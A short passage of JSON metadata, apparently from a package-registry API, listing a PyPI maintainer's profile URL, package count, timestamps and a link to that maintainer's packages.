l,"url":null,"packages_count":4,"html_url":"https://pypi.org/user/mtrier/","role":null,"created_at":"2022-12-29T21:15:12.686944Z","updated_at":"2022-12-29T21:15:12.686944Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/mtrier/packages"}]}